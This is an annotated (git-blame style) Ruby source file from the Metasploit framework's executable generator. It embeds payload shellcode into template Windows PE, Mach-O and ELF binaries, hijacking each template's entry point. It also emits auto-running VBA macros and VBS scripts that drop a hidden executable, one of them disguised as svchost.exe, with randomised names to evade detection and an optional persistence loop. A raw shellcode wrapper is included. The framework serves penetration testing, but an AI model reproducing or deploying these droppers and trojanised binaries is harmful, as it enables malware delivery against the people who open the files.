2009-06-20 17:42:17 +00:00
|
|
|
###
|
|
|
|
#
|
|
|
|
# framework-util-exe
|
|
|
|
# --------------
|
|
|
|
#
|
2009-11-01 04:11:43 +00:00
|
|
|
# The class provides methods for creating and encoding executable file
|
2009-06-20 17:42:17 +00:00
|
|
|
# formats for various platforms. It is a replacement for the previous
|
|
|
|
# code in Rex::Text
|
|
|
|
#
|
|
|
|
###
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
module Util
|
|
|
|
class EXE
|
|
|
|
|
2009-11-01 04:11:43 +00:00
|
|
|
require 'rex'
|
|
|
|
require 'rex/peparsey'
|
|
|
|
require 'rex/pescan'
|
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
|
|
|
|
##
|
|
|
|
#
|
|
|
|
# Executable generators
|
|
|
|
#
|
|
|
|
##
|
2009-11-01 04:11:43 +00:00
|
|
|
|
|
|
|
def self.to_executable(framework, arch, plat, code='', opts={})
|
2009-06-20 17:42:17 +00:00
|
|
|
if (arch.index(ARCH_X86))
|
|
|
|
|
|
|
|
if (plat.index(Msf::Module::Platform::Windows))
|
2009-11-01 04:11:43 +00:00
|
|
|
return to_win32pe(framework, code, opts)
|
2009-06-20 17:42:17 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
if (plat.index(Msf::Module::Platform::Linux))
|
|
|
|
return to_linux_x86_elf(framework, code)
|
|
|
|
end
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
if(plat.index(Msf::Module::Platform::OSX))
|
2009-11-01 04:11:43 +00:00
|
|
|
return to_osx_x86_macho(framework, code)
|
|
|
|
end
|
|
|
|
|
|
|
|
# XXX: Add remaining x86 systems here
|
2009-06-20 17:42:17 +00:00
|
|
|
end
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-08-23 23:47:33 +00:00
|
|
|
if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) )
|
|
|
|
if (plat.index(Msf::Module::Platform::Windows))
|
2009-11-01 04:11:43 +00:00
|
|
|
return to_win64pe(framework, code, opts)
|
2009-08-23 23:47:33 +00:00
|
|
|
end
|
|
|
|
end
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
if(arch.index(ARCH_ARMLE))
|
|
|
|
if(plat.index(Msf::Module::Platform::OSX))
|
2009-11-01 04:11:43 +00:00
|
|
|
return to_osx_arm_macho(framework, code)
|
2009-06-20 17:42:17 +00:00
|
|
|
end
|
|
|
|
# XXX: Add Linux here
|
|
|
|
end
|
|
|
|
|
|
|
|
if(arch.index(ARCH_PPC))
|
|
|
|
if(plat.index(Msf::Module::Platform::OSX))
|
2009-11-01 04:11:43 +00:00
|
|
|
return to_osx_ppc_macho(framework, code)
|
2009-06-20 17:42:17 +00:00
|
|
|
end
|
2009-11-01 04:11:43 +00:00
|
|
|
# XXX: Add PPC OS X and Linux here
|
|
|
|
end
|
2009-06-20 17:42:17 +00:00
|
|
|
nil
|
|
|
|
end
|
|
|
|
|
2009-11-01 04:11:43 +00:00
|
|
|
|
|
|
|
def self.to_win32pe(framework, code, opts={})
|
|
|
|
|
|
|
|
# Allow the user to specify their own EXE template
|
|
|
|
opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template.exe")
|
|
|
|
|
|
|
|
# Copy the code to a new RWX segment to allow for self-modifying encoders
|
|
|
|
payload = win32_rwx_exec(code)
|
|
|
|
|
|
|
|
# Create a new PE object and run through sanity checks
|
|
|
|
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
|
|
|
|
text = nil
|
|
|
|
pe.sections.each do |sec|
|
|
|
|
text = sec if sec.name == ".text"
|
|
|
|
break if text
|
|
|
|
end
|
|
|
|
|
|
|
|
if(not text)
|
|
|
|
raise RuntimeError, "No .text section found in the template exe"
|
|
|
|
end
|
|
|
|
|
|
|
|
if ! text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
|
|
|
|
raise RuntimeError, "The .text section does not contain an entry point"
|
|
|
|
end
|
|
|
|
|
|
|
|
if(text.size < (payload.length + 256))
|
|
|
|
raise RuntimeError, "The .text section is too small to be usable"
|
|
|
|
end
|
|
|
|
|
|
|
|
# Store some useful offsets
|
|
|
|
off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
|
|
|
|
off_beg = pe.rva_to_file_offset(text.base_rva)
|
|
|
|
|
|
|
|
# We need to make sure our injected code doesn't conflict with the
|
|
|
|
# the data directories stored in .text (import, export, etc)
|
|
|
|
mines = []
|
|
|
|
pe.hdr.opt['DataDirectory'].each do |dir|
|
|
|
|
next if dir.v['Size'] == 0
|
|
|
|
next if not text.contains_rva?( dir.v['VirtualAddress'] )
|
|
|
|
mines << [ pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg, dir.v['Size'] ]
|
|
|
|
end
|
|
|
|
|
|
|
|
# Break the text segment into contiguous blocks
|
|
|
|
blocks = []
|
|
|
|
bidx = 0
|
|
|
|
mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
|
|
|
|
bbeg = bidx
|
|
|
|
bend = mine[0]
|
|
|
|
if(bbeg != bend)
|
|
|
|
blocks << [bidx, bend-bidx]
|
|
|
|
end
|
|
|
|
bidx = mine[0] + mine[1]
|
|
|
|
end
|
|
|
|
|
|
|
|
# Add the ending block
|
|
|
|
if(bidx < text.size - 1)
|
|
|
|
blocks << [bidx, text.size - bidx]
|
|
|
|
end
|
|
|
|
|
|
|
|
# Find the largest contiguous block
|
|
|
|
blocks.sort!{|a,b| b[1]<=>a[1]}
|
|
|
|
block = blocks[0]
|
|
|
|
|
|
|
|
# TODO: Allow the entry point in a different block
|
|
|
|
if(payload.length + 256 > block[1])
|
|
|
|
raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})"
|
|
|
|
end
|
|
|
|
|
|
|
|
# Make a copy of the entire .text section
|
|
|
|
data = text.read(0,text.size)
|
|
|
|
|
|
|
|
# Pick a random offset to store the payload
|
|
|
|
poff = rand(block[1] - payload.length - 256)
|
|
|
|
|
|
|
|
# Flip a coin to determine if EP is before or after
|
|
|
|
eloc = rand(2)
|
|
|
|
eidx = nil
|
|
|
|
|
|
|
|
# Pad the entry point with random nops
|
|
|
|
entry = generate_nops(framework, [ARCH_X86], rand(200)+51)
|
|
|
|
|
|
|
|
# Pick an offset to store the new entry point
|
|
|
|
if(eloc == 0) # place the entry point before the payload
|
|
|
|
poff += 256
|
|
|
|
eidx = rand(poff-(entry.length + 5))
|
|
|
|
else # place the entry pointer after the payload
|
|
|
|
poff -= 256
|
|
|
|
eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length
|
|
|
|
end
|
|
|
|
|
|
|
|
# Relative jump from the end of the nops to the payload
|
|
|
|
entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')
|
|
|
|
|
|
|
|
# Patch the payload and the new entry point into the .text
|
|
|
|
data[block[0] + poff, payload.length] = payload
|
|
|
|
data[block[0] + eidx, entry.length] = entry
|
|
|
|
|
|
|
|
# Create the modified version of the input executable
|
|
|
|
exe = ''
|
|
|
|
File.open(opts[:template], 'rb') do |fd|
|
|
|
|
exe = fd.read( File.size(opts[:template]) )
|
|
|
|
end
|
|
|
|
exe[ exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = [ text.base_rva + block[0] + eidx ].pack("V")
|
|
|
|
exe[off_beg, data.length] = data
|
|
|
|
pe.close
|
|
|
|
exe
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def self.to_win32pe_old(framework, code, opts={})
|
2009-06-20 17:42:17 +00:00
|
|
|
pe = ''
|
|
|
|
|
2009-11-01 04:11:43 +00:00
|
|
|
fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template-old.exe"), "rb")
|
2009-06-20 17:42:17 +00:00
|
|
|
pe = fd.read(fd.stat.size)
|
|
|
|
fd.close
|
|
|
|
|
2009-07-20 13:55:29 +00:00
|
|
|
if(code.length < 2048)
|
|
|
|
code << Rex::Text.rand_text(2048-code.length)
|
2009-06-20 17:42:17 +00:00
|
|
|
end
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-09-08 20:33:43 +00:00
|
|
|
if(code.length > 2048)
|
|
|
|
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
|
|
|
|
end
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
bo = pe.index('PAYLOAD:')
|
2009-07-20 13:55:29 +00:00
|
|
|
pe[bo, 2048] = code if bo
|
2009-06-20 17:42:17 +00:00
|
|
|
pe[136, 4] = [rand(0x100000000)].pack('V')
|
|
|
|
|
|
|
|
ci = pe.index("\x31\xc9" * 160)
|
|
|
|
cd = pe.index("\x31\xc9" * 160, ci + 320)
|
|
|
|
rc = pe[ci+320, cd-ci-320]
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
# 640 + rc.length bytes of room to store an encoded rc at offset ci
|
|
|
|
enc = encode_stub(framework, [ARCH_X86], rc)
|
|
|
|
lft = 640+rc.length - enc.length
|
|
|
|
|
|
|
|
buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
|
|
|
|
pe[ci, buf.length] = buf
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
# Make the data section executable
|
|
|
|
xi = pe.index([0xc0300040].pack('V'))
|
|
|
|
pe[xi,4] = [0xe0300020].pack('V')
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
# Add a couple random bytes for fun
|
2009-07-20 13:55:29 +00:00
|
|
|
pe << Rex::Text.rand_text(rand(64)+4)
|
2009-06-20 17:42:17 +00:00
|
|
|
|
2009-08-23 23:47:33 +00:00
|
|
|
return pe
|
|
|
|
end
|
2009-11-01 04:11:43 +00:00
|
|
|
|
|
|
|
def self.to_win64pe(framework, code, opts={})
|
2009-08-23 23:47:33 +00:00
|
|
|
pe = ''
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-08-23 23:47:33 +00:00
|
|
|
fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x64_windows.exe"), "rb")
|
|
|
|
pe = fd.read(fd.stat.size)
|
|
|
|
fd.close
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-08-23 23:47:33 +00:00
|
|
|
bo = pe.index('PAYLOAD:')
|
|
|
|
pe[bo,2048] = [code].pack('a2048') if bo
|
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
return pe
|
|
|
|
end
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-21 15:59:09 +00:00
|
|
|
def self.to_win32pe_service(framework, code, name='SERVICENAME')
|
2009-06-20 17:42:17 +00:00
|
|
|
pe = ''
|
|
|
|
|
|
|
|
fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "service.exe"), "rb")
|
|
|
|
pe = fd.read(fd.stat.size)
|
|
|
|
fd.close
|
|
|
|
|
|
|
|
bo = pe.index('PAYLOAD:')
|
2009-07-20 13:55:29 +00:00
|
|
|
pe[bo, 2048] = [code].pack('a2048') if bo
|
2009-06-20 17:42:17 +00:00
|
|
|
|
|
|
|
bo = pe.index('SERVICENAME')
|
|
|
|
pe[bo, 11] = [name].pack('a11') if bo
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
pe[136, 4] = [rand(0x100000000)].pack('V')
|
|
|
|
|
|
|
|
return pe
|
|
|
|
end
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
def self.to_osx_arm_macho(framework, code)
|
|
|
|
mo = ''
|
|
|
|
|
|
|
|
fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_armle_darwin.bin"), "rb")
|
|
|
|
mo = fd.read(fd.stat.size)
|
|
|
|
fd.close
|
|
|
|
|
|
|
|
bo = mo.index( "\x90\x90\x90\x90" * 1024 )
|
|
|
|
co = mo.index( " " * 512 )
|
|
|
|
|
2009-07-20 13:55:29 +00:00
|
|
|
mo[bo, 2048] = [code].pack('a2048') if bo
|
2009-06-20 17:42:17 +00:00
|
|
|
return mo
|
|
|
|
end
|
|
|
|
|
|
|
|
def self.to_osx_ppc_macho(framework, code)
|
|
|
|
mo = ''
|
|
|
|
|
|
|
|
fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_ppc_darwin.bin"), "rb")
|
|
|
|
mo = fd.read(fd.stat.size)
|
|
|
|
fd.close
|
|
|
|
|
|
|
|
bo = mo.index( "\x90\x90\x90\x90" * 1024 )
|
|
|
|
co = mo.index( " " * 512 )
|
|
|
|
|
2009-07-20 13:55:29 +00:00
|
|
|
mo[bo, 2048] = [code].pack('a2048') if bo
|
2009-06-20 17:42:17 +00:00
|
|
|
|
|
|
|
return mo
|
|
|
|
end
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
def self.to_osx_x86_macho(framework, code)
|
|
|
|
mo = ''
|
|
|
|
|
|
|
|
fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_darwin.bin"), "rb")
|
|
|
|
mo = fd.read(fd.stat.size)
|
|
|
|
fd.close
|
|
|
|
|
|
|
|
bo = mo.index( "\x90\x90\x90\x90" * 1024 )
|
|
|
|
co = mo.index( " " * 512 )
|
|
|
|
|
2009-07-20 13:55:29 +00:00
|
|
|
mo[bo, 2048] = [code].pack('a2048') if bo
|
2009-06-20 17:42:17 +00:00
|
|
|
|
|
|
|
return mo
|
|
|
|
end
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
def self.to_linux_x86_elf(framework, code)
|
|
|
|
mo = ''
|
|
|
|
|
|
|
|
fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_linux.bin"), "rb")
|
|
|
|
mo = fd.read(fd.stat.size)
|
|
|
|
fd.close
|
|
|
|
|
|
|
|
bo = mo.index( "\x90\x90\x90\x90" * 1024 )
|
|
|
|
co = mo.index( " " * 512 )
|
|
|
|
|
2009-07-20 13:55:29 +00:00
|
|
|
mo[bo, 2048] = [code].pack('a2048') if bo
|
2009-06-20 17:42:17 +00:00
|
|
|
|
|
|
|
return mo
|
|
|
|
end
|
|
|
|
|
2009-06-24 20:02:29 +00:00
|
|
|
def self.to_exe_vba(exes='')
|
|
|
|
exe = exes.unpack('C*')
|
2009-06-20 17:42:17 +00:00
|
|
|
vba = ""
|
|
|
|
pcs = (exe.length/2000)+1
|
|
|
|
idx = 0
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
var_base_idx = 0
|
|
|
|
var_base = Rex::Text.rand_text_alpha(2).capitalize
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
var_bytes = var_base + (var_base_idx+=1).to_s
|
|
|
|
var_initx = var_base + Rex::Text.rand_text_alpha(1) + (var_base_idx+=1).to_s
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
vba << "Dim #{var_bytes}(#{exe.length}) as Byte\r\n\r\n"
|
|
|
|
1.upto(pcs) do |pc|
|
|
|
|
max = 0
|
|
|
|
vba << "Sub #{var_initx}#{pc}()\r\n"
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
while(c = exe[idx] and max < 2000)
|
|
|
|
vba << "\t#{var_bytes}(#{idx}) = &H#{("%.2x" % c).upcase}\r\n"
|
|
|
|
idx += 1
|
|
|
|
max += 1
|
2009-11-01 04:11:43 +00:00
|
|
|
end
|
2009-06-20 17:42:17 +00:00
|
|
|
vba << "End Sub\r\n"
|
|
|
|
end
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
var_lname = var_base + (var_base_idx+=1).to_s
|
|
|
|
var_lpath = var_base + (var_base_idx+=1).to_s
|
|
|
|
var_appnr = var_base + (var_base_idx+=1).to_s
|
|
|
|
var_datnr = var_base + (var_base_idx+=1).to_s
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
vba << "Sub Auto_Open()\r\n"
|
|
|
|
vba << "\tDim #{var_appnr} As Integer\r\n"
|
|
|
|
vba << "\tDim #{var_datnr} As Integer\r\n"
|
|
|
|
vba << "\tDim #{var_lname} As String\r\n"
|
|
|
|
vba << "\tDim #{var_lpath} As String\r\n"
|
2009-06-24 03:59:54 +00:00
|
|
|
vba << "\t#{var_lname} = \"#{Rex::Text.rand_text_alpha(rand(8)+8)}.exe\"\r\n"
|
2009-06-20 17:42:17 +00:00
|
|
|
vba << "\t#{var_lpath} = Environ(\"USERPROFILE\")\r\n"
|
|
|
|
vba << "\tChDrive (#{var_lpath})\r\n"
|
|
|
|
vba << "\tChDir (#{var_lpath})\r\n"
|
|
|
|
vba << "\t#{var_datnr} = FreeFile()\r\n"
|
|
|
|
vba << "\tOpen #{var_lname} For Binary Access Read Write As #{var_datnr}\r\n"
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
1.upto(pcs) do |pc|
|
|
|
|
vba << "\t#{var_initx}#{pc}\r\n"
|
|
|
|
end
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
vba << "\tPut #{var_datnr}, , #{var_bytes}\r\n"
|
|
|
|
vba << "\tClose #{var_datnr}\r\n"
|
|
|
|
vba << "\t#{var_appnr} = Shell(#{var_lname}, vbHide)\r\n"
|
|
|
|
vba << "End Sub\r\n"
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
vba << "Sub AutoOpen()\r\n"
|
|
|
|
vba << "\tAuto_Open\r\n"
|
|
|
|
vba << "End Sub\r\n"
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
vba << "Sub Workbook_Open()\r\n"
|
|
|
|
vba << "\tAuto_Open\r\n"
|
|
|
|
vba << "End Sub\r\n"
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
end
|
|
|
|
|
2009-11-01 04:11:43 +00:00
|
|
|
def self.to_win32pe_vba(framework, code, opts={})
|
|
|
|
to_exe_vba(to_win32pe(framework, code, opts))
|
2009-06-20 17:42:17 +00:00
|
|
|
end
|
|
|
|
|
2009-11-01 04:11:43 +00:00
|
|
|
def self.to_exe_vbs(exes = '', opts={})
|
2009-11-03 20:00:43 +00:00
|
|
|
delay = opts[:delay] || 5
|
|
|
|
persist = opts[:persist] || false
|
2009-10-19 02:42:39 +00:00
|
|
|
|
2009-06-24 20:02:29 +00:00
|
|
|
exe = exes.unpack('C*')
|
2009-06-20 17:42:17 +00:00
|
|
|
vbs = ""
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-10-19 02:42:39 +00:00
|
|
|
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
|
|
var_fname = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
|
|
var_func = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
|
|
var_stream = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
|
|
var_obj = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
|
|
var_shell = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
|
|
var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
|
|
var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
|
2009-11-01 04:11:43 +00:00
|
|
|
var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
vbs << "Function #{var_func}()\r\n"
|
|
|
|
|
2009-10-19 02:42:39 +00:00
|
|
|
vbs << "#{var_bytes} = Chr(&H#{("%02x" % exe[0])})"
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-10-19 02:42:39 +00:00
|
|
|
1.upto(exe.length-1) do |byte|
|
2009-11-03 20:31:28 +00:00
|
|
|
if(byte % 100 == 0)
|
|
|
|
vbs << "\r\n#{var_bytes} = #{var_bytes}"
|
|
|
|
end
|
2009-11-01 04:11:43 +00:00
|
|
|
vbs << "&Chr(&H#{("%02x" % exe[byte])})"
|
|
|
|
end
|
2009-06-20 17:42:17 +00:00
|
|
|
vbs << "\r\n"
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
vbs << "Dim #{var_obj}\r\n"
|
|
|
|
vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
|
|
|
|
vbs << "Dim #{var_stream}\r\n"
|
2009-10-19 02:42:39 +00:00
|
|
|
vbs << "Dim #{var_tempdir}\r\n"
|
|
|
|
vbs << "Dim #{var_tempexe}\r\n"
|
2009-11-01 04:11:43 +00:00
|
|
|
vbs << "Dim #{var_basedir}\r\n"
|
2009-10-19 02:42:39 +00:00
|
|
|
vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-10-19 02:42:39 +00:00
|
|
|
vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
|
|
|
|
vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
|
|
|
|
vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
|
|
|
|
vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n"
|
2009-06-20 17:42:17 +00:00
|
|
|
vbs << "#{var_stream}.Write #{var_bytes}\r\n"
|
|
|
|
vbs << "#{var_stream}.Close\r\n"
|
|
|
|
vbs << "Dim #{var_shell}\r\n"
|
|
|
|
vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"
|
2009-10-19 02:42:39 +00:00
|
|
|
|
|
|
|
vbs << "#{var_shell}.run #{var_tempexe}, 0, true\r\n"
|
|
|
|
vbs << "#{var_obj}.DeleteFile(#{var_tempexe})\r\n"
|
2009-11-01 04:11:43 +00:00
|
|
|
vbs << "#{var_obj}.DeleteFolder(#{var_basedir})\r\n"
|
2009-06-20 17:42:17 +00:00
|
|
|
vbs << "End Function\r\n"
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-10-19 02:42:39 +00:00
|
|
|
vbs << "Do\r\n" if persist
|
2009-06-20 17:42:17 +00:00
|
|
|
vbs << "#{var_func}\r\n"
|
2009-11-01 04:11:43 +00:00
|
|
|
vbs << "WScript.Sleep #{delay * 1000}\r\n" if persist
|
|
|
|
vbs << "Loop\r\n" if persist
|
2009-11-04 21:30:00 +00:00
|
|
|
vbs
|
2009-06-20 17:42:17 +00:00
|
|
|
end
|
|
|
|
|
2009-11-01 04:11:43 +00:00
|
|
|
def self.to_win32pe_vbs(framework, code, opts={})
|
|
|
|
to_exe_vbs(to_win32pe(framework, code, opts), opts)
|
2009-06-20 17:42:17 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# Creates a .NET DLL which loads data into memory
|
|
|
|
# at a specified location with read/execute permissions
|
|
|
|
# - the data will be loaded at: base+0x2065
|
|
|
|
# - max size is 0x8000 (32768)
|
|
|
|
def self.to_dotnetmem(base=0x12340000, data="")
|
|
|
|
pe = ''
|
|
|
|
|
|
|
|
fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "dotnetmem.dll"), "rb")
|
|
|
|
pe = fd.read(fd.stat.size)
|
|
|
|
fd.close
|
|
|
|
|
|
|
|
# Configure the image base
|
|
|
|
pe[180, 4] = [base].pack('V')
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
# Configure the TimeDateStamp
|
|
|
|
pe[136, 4] = [rand(0x100000000)].pack('V')
|
|
|
|
|
|
|
|
# XXX: Unfortunately we cant make this RWX only RX
|
|
|
|
# Mark this segment as read-execute AND writable
|
|
|
|
# pe[412,4] = [0xe0000020].pack("V")
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
# Write the data into the .text segment
|
|
|
|
pe[0x1065, 0x8000] = [data].pack("a32768")
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
# Generic a randomized UUID
|
|
|
|
pe[37656,16] = Rex::Text.rand_text(16)
|
2009-11-01 04:11:43 +00:00
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
return pe
|
|
|
|
end
|
2009-11-01 04:11:43 +00:00
|
|
|
|
|
|
|
|
2009-06-20 17:42:17 +00:00
|
|
|
def self.encode_stub(framework, arch, code)
|
2009-06-21 15:59:09 +00:00
|
|
|
return code if not framework.encoders
|
2009-06-20 17:42:17 +00:00
|
|
|
framework.encoders.each_module_ranked('Arch' => arch) do |name, mod|
|
|
|
|
begin
|
|
|
|
enc = framework.encoders.create(name)
|
|
|
|
raw = enc.encode(code, '')
|
|
|
|
return raw if raw
|
|
|
|
rescue
|
|
|
|
end
|
|
|
|
end
|
|
|
|
nil
|
|
|
|
end
|
|
|
|
|
2009-11-03 23:50:32 +00:00
|
|
|
def self.generate_nops(framework, arch, len, opts={})
|
|
|
|
opts['BadChars'] ||= ''
|
|
|
|
opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ]
|
|
|
|
|
2009-11-01 04:11:43 +00:00
|
|
|
return code if not framework.nops
|
|
|
|
framework.nops.each_module_ranked('Arch' => arch) do |name, mod|
|
|
|
|
begin
|
|
|
|
nop = framework.nops.create(name)
|
2009-11-03 23:50:32 +00:00
|
|
|
raw = nop.generate_sled(len, opts)
|
2009-11-01 04:11:43 +00:00
|
|
|
return raw if raw
|
|
|
|
rescue
|
|
|
|
end
|
|
|
|
end
|
|
|
|
nil
|
|
|
|
end
|
|
|
|
|
|
|
|
# This wrapper is responsible for allocating RWX memory, copying the
|
|
|
|
# target code there, setting an exception handler that calls ExitProcess
|
|
|
|
# and finally executing the code.
|
|
|
|
def self.win32_rwx_exec(code)
|
|
|
|
wrapper =
|
|
|
|
# Length: 233 bytes
|
|
|
|
# CodeLen Offset: 145
|
|
|
|
# ExitFunk Offset: 186
|
|
|
|
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
|
|
|
|
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
|
|
|
|
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
|
|
|
|
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
|
|
|
|
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
|
|
|
|
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
|
|
|
|
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
|
|
|
|
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
|
|
|
|
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
|
|
|
|
"\xBE\x78\x56\x34\x12\x6A\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68" +
|
|
|
|
"\x58\xA4\x53\xE5\xFF\xD5\x89\xC3\x89\xC7\x89\xF1\xE8\x33\x00\x00" +
|
|
|
|
"\x00\x5E\xF3\xA4\xE8\x1F\x00\x00\x00\xBB\xE0\x1D\x2A\x0A\x68\xA6" +
|
|
|
|
"\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47" +
|
|
|
|
"\x13\x72\x6F\x6A\x00\x53\xFF\xD5\x31\xC0\x64\xFF\x30\x64\x89\x20" +
|
|
|
|
"\xFF\xD3\xEB\xD5\xE8\xC8\xFF\xFF\xFF"
|
|
|
|
|
|
|
|
res = wrapper + code
|
|
|
|
res[145,4] = [code.length].pack('V')
|
|
|
|
res
|
|
|
|
end
|
2009-06-20 17:42:17 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2009-11-01 04:11:43 +00:00
|
|
|
|